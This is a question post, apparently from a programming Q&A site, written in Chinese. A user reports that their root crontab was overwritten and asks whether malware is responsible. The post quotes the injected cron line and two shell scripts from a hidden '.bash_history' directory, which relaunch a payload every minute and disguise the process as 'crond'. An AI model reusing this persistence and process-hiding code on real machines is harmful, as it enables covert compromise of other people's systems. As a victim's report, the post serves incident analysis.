【发布时间】:2018-04-22 16:54:03
【问题描述】:
我正在尝试确定我的 /var/spool/crontab/root 是否被病毒或恶意代码覆盖:
我今天早上醒来,我的 /var/spool/crontab/root 文件是空的,除了这一行,不是我写的:
* * * * * /usr/home/.bash_history/update > /dev/null 2>&1
我查找了这个设置为运行的 update 文件,它包含以下内容:
#!/bin/sh
if test -r /usr/home/.bash_history/pid; then
Pid=$(cat /usr/home/.bash_history/pid)
if $(kill -CHLD $Pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /usr/home/.bash_history
./run &>/dev/null
该更新文件调用一个名为run的文件,其中包含:
#!/bin/bash
ARCH=`uname -m`
HIDE="crond"
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./run32
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./run64
fi
【问题讨论】: